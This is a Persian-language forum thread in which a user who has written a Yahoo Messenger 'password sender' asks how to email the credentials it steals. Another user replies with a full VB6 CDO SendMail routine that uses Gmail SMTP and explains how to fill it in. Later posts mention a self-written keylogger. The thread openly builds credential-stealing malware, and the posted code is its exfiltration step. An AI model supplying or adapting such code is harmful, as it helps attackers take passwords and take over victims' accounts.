سلام به همه دوستان عزیز , من یک پسورد سندر واسه یاهو نوشتم و نمیدونم چطور میشه اطلاعاتی رو که سرور برنامه من میدزده رو به ایمیل بفرسته؟ کسی میدونه چیکار باید کرد؟ ممنون
سلام اگر پسورد سندرت واسه یاهو 9 هست باشه بده سورسشو
منم واست فرستادن اطلاعات از طریق ایمیل را برات مینیویسم.
کد:
Public Function SendMail(strSender As String, strPassword As String, strSmtp As String, strReciever As String, strSubject As String, strAttach As String, strBody As String) As Boolean
On Error Resume Next
Dim iMsg, iConf, Flds
Dim schema As String
If strSender <> "" Or strPassword <> "" Then
On Error GoTo Handler
Set iMsg = CreateObject("CDO.Message")
Set iConf = CreateObject("CDO.Configuration")
Set Flds = iConf.Fields
' send one copy with Google SMTP server (with autentication)
schema = "http://schemas.microsoft.com/cdo/configuration/"
Flds.Item(schema & "sendusing") = 2
Flds.Item(schema & "smtpserver") = strSmtp
Flds.Item(schema & "smtpserverport") = 465
Flds.Item(schema & "smtpauthenticate") = 1
Flds.Item(schema & "sendusername") = strSender
Flds.Item(schema & "sendpassword") = strPassword
Flds.Item(schema & "smtpusessl") = 1
Flds.Update
With iMsg
DoEvents
.To = strReciever
.From = strSender
.Subject = strSubject
.HTMLBody = strBody
.Sender = strSender
.Organization = "S.M.B Productions"
.ReplyTo = strSender
If strAttach <> "" Then
.AddAttachment (strAttach)
End If
Set .Configuration = iConf
.Send
End With
SendMail = True
Set iMsg = Nothing
Set iConf = Nothing
Set Flds = Nothing
Exit Function
End If
Handler:
SendMail = False
End Function
ممنون فقط میشه یک کمی توضیح بدین..
تابع برای ارسال میل نوشته شده.
پارامتر اول و دوم آدرس ایمیل و پسورد فرستنده که باید gmail باشه.
سومی آدرس smtp جیمیل یعنی smtp.gmail.com
چهارمی آدرس گیرنده
پنجمی subject !
شیشمی رو خالی بذار !
هفتمی هم متنی که می خوای بفرستی.
البته الان نمی دونم چطوریه ! شاید چندتا میل بفرستی حساب بسته بشه ! هر چند وقت یه بار میل فرستده رو تو جی میل باز کن که مسدود نشه !
من میخوام اطلاعات رو در داخل پارامتر ها قرار بدم برنامه اجازه نمیده و کل کد ها رو قرمز میکنه...چی کار کنم؟
مطمئنی اون پسورد سندر رو خودت نوشتی !
نمی دونم چطوری بگم !
این کدها رو کپی کن تو یه ماژول و بعد تابع رو صدا کن!
بنویس SendMail و یه پرانتز باز کن و پارامترها رو پر کن . . .
سلام عجیبه که شما پسورد سندر نوشتید من کاری ندارم رو یاهو مسنجر 9 فقط جواب بده دیگه مشکلی نیست.
شما سورس برنامتو بزار یا واسم پیغام خصوصی بفرست منم ایمیلش را واست مینیویسم.
به همین راحتی ! ! !
دوست عزیز من چرا باید سورس برنامه شخصی خودم رو به شما 2 دستی تحویل بدم؟ مشکلم حل شد !
سلام
مشكلتون حل شد خدا رو شكر
من كيلاگر نوشتم هر جور پسووردي را كه بخوام ميزنم
چرا شما بايد 2 دستي تقديم من كنيد؟
شايد خود خواهي باشه اما من هر وقت اطلاعات ميدم اطلاعات ميگيرم
حتا اگر طرف هم نخواد يه سري چيزها بهش ميگم
2 ميخواستم بيبينم اين چيزي كه نوشتيد رو ياهو 9 جواب ميده يا نه
اينم تو يكي از فروم پيدا كردم
لازم نكرده نيازي به سورس شما نيست.